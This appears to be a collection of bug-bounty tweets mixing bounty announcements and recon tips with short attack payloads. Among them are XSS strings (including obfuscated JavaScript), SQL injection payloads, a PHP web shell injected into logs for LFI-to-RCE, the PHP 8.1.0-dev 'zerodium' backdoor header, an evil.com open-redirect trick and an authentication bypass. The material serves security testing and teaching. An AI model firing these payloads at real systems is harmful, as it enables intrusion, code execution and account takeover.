Nasim Mostakim (TomCat) 🇧🇩

|CTF Player|
|Bug Bounty Hunter|
|Hacker|

[Nasim Mostakim (TomCat) 🇧🇩 @Ontu404]

"Pray Hope and don't worry!!"
I earned my 1st 4 digit bounty (2,500 USD) for my submission on @Bugcrowd
#cybersecurity
#BugBounty

[Shivang @shivangmauryaa]

Payload : %27%22()%26%25%3Czzz%3E%3CScRiPt%20%3Ealert(1234)%3C/ScRiPt%3E

[bugcrowd @Bugcrowd]

The difference between a "Blocked" notification and a $5,000 bounty. 💸

[a7madn1 @a7mad__n1]

Simple testing on the login page can lead to easy $$$$ Try these default credentials. (I got 3,4 bounties)

email1:[email protected]
pass1: [email protected]
email2:[email protected]
pass2:[email protected]
email3:[email protected]
pass3:[email protected]

#bugbountytips #hacking #BugBounty

[A.fahimi @af4himi]

- First Test with (htt[]ps://web.archive.org/cdx/search/cdx?url=*.domain&fl=original&collapse=urlkey)
- Found a subdomain (sub.domain[.]com/scripts/sys_getpass.php?usercode=1)
- Sql Injection found here :D
- I was awarded a $4,050 bounty :D
#TogetherWeHitHarder

[Yassin @Yass1nMohamed]

XSS Payload Written in Inuktitut 📜

ᐊ='',ᐃ=!ᐊ+ᐊ,ᐅ=!ᐃ+ᐊ,ᐱ=ᐊ+{},ᑎ=ᐃ[ᐊ++],ᓇ=ᐃ[ᓕ=ᐊ],ᓯ=++ᓕ+ᐊ,ᓂ=ᐱ[ᓕ+ᓯ],
ᐃ[ᓂ+=ᐱ[ᐊ]+(ᐃ.ᐅ+ᐱ)[ᐊ]+ᐅ[ᓯ]+ᑎ+ᓇ+ᐃ[ᓕ]+ᓂ+ᑎ+ᐱ[ᐊ]+ᓇ]
[ᓂ](ᐅ[ᐊ]+ᐅ[ᓕ]+ᐃ[ᓯ]+ᓇ+ᑎ+"('ᐊᐃᓐᓇᓂᐅᑦ ᐱᔭᓯᓕᖅ')")()

#CyberSecurity #XSS

[0xHun73r @0xHun73r]

Alhamdulillah, just discovered a new bug!

-Tip:
When hunting Open Redirects, try inserting
//evil.com/..;/css in the URL
The server treats it as a local path but the browser redirects outside
Add a .js or .css file at the end.
#CyberSecurity #Hacker101 #bugbountytips #BugBounty

[NullSecurityX @NullSecurityX]

🧠 Server Log Injection + LFI → RCE
1️⃣ App logs user-agent or URL to server logs
2️⃣ Attacker injects PHP payload: <?php system($_GET[0]); ?>
3️⃣ LFI points to log file: ?page=/var/log/access.log
4️⃣ Payload executed → Remote Code Execution
🎯 From logs to shell
#bugbounty #lfi

[N$🌟 @__nav1n_]

/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=<svg xmlns%3D"http%3A%2F%https://t.co/1BqgtLpy61%2F2000%2Fsvg"><script>prompt("XSS")<%2Fscript><%2Fsvg>&domain=(empty_domain)&computer=computer

[Mustafa Adam Gamaraldin Abdalla 🇸🇩♥️ @wadgamaraldeen]

Triple Fuzzing :-

If you for example have https://test[.]com:8443/phpmyadmin

# Fuzz :-

1- https://test[.]com/FUZZ

2- https://test[.]com:8443/FUZZ

3- https://test[.]com:8443/phpmyadmin/FUZZ

This technique helped me in getting sensitive files &amp; directories

#bugbountytips

[مچهول الهويه @adce626]

SQLi Pentest Toolkit
Learn &amp; test SQLi hands-on!
🔹 Multi-DB support
🔹 Auto commands + Dorks
🔹 LOXS (time-based)
🔹 Tutorials &amp; method

👨‍💻 By @adce626 &amp; @coffinxp7
⚠️ Legal &amp; educational use only
🌐 https://t.co/BBEpt5kql8

[ProjectDiscovery @pdiscoveryio]

Want to zero in on endpoints with query parameters only?

Use Katana’s -f qurl flag to extract URLs with query strings!

Perfect for targeting inputs that may be vulnerable.

[Jerry @Mdhsan19]

I was awarded $5,000 after discovering a hidden endpoint using this extension: https://t.co/bJosgjRufI

[Radman @eyevorn]

rXSS via url parameter
1. I discovered reflection in a URL parameter
2. All inputs I submitted were being HTML encoded
3. I submitted the following input: https://sss'"&lt;&gt;, and in the response, my payload was displayed without proper sanitization.
#xss #BugBounty #infosec

[Ninad Mishra @NinadMishra5]

Some #bugbounty hunters made over €50.000 in bug bounties with this simple trick. 🤑 Thanks for the #BugBountyTip @rez0__

credits: @intigriti

[Mike Takahashi @TakSec]

Google Dork - Publicly Disclosed XSS:

site:https://t.co/KBgKO3qOol inurl:reports intext:"&lt;target&gt;.com"

1. Bypass previously “fixed” XSS
2. Escalate SSRF w/ unpatched open redirects

#recon #xss #bugbountytips #bugbounty #hacking #infosec

[Muhammad Waseem @wgujjer11]

Yeswiki : Unauthenticated Path Traversal
CVE-2025-31131
Severity : Critical
Exploit : https://t.co/ryngTq4TW7
Refrence : https://t.co/VzarJlWTkM

#bugbounty #CVE2025_31131 #YesWiki #PathTraversal

[🇸🇦 Murtada Bin Abdullah (Rood) @0x_rood]

1- Found path for portal in wayback
2- Fuzz it
3- Found login page
4- Another Fuzzing
5- See /manage-users.php with big content length but 302 status
6- Setup match &amp; replace with 302 to 200
7- Bypass authentication and access to admin panel

#bugbountytips #bugbounty

[Lu3ky13 ��️⚡️ @lu3ky13]

Sql Injection #Payload Add to your List

%6c%75%33%6b%79%31%33' AND 1=CAST((SELECT version()) AS int) --

#bugbountytips #bugbounty #hackerone #SqlInjection #sqli

[Md Ismail Šojal 🕷️ @0x0SojalSec]

If you find PHP 8.1.0-dev then try RCE &amp; SQLi
User-Agentt: zerodiumsleep(5);
User-Agentt: zerodiumsystem('id');

#bugbounty #bugbountytips #rce #sqli

[Nasim Mostakim (TomCat) 🇧🇩 @Ontu404]

@L3onid1s big fan sir 🤝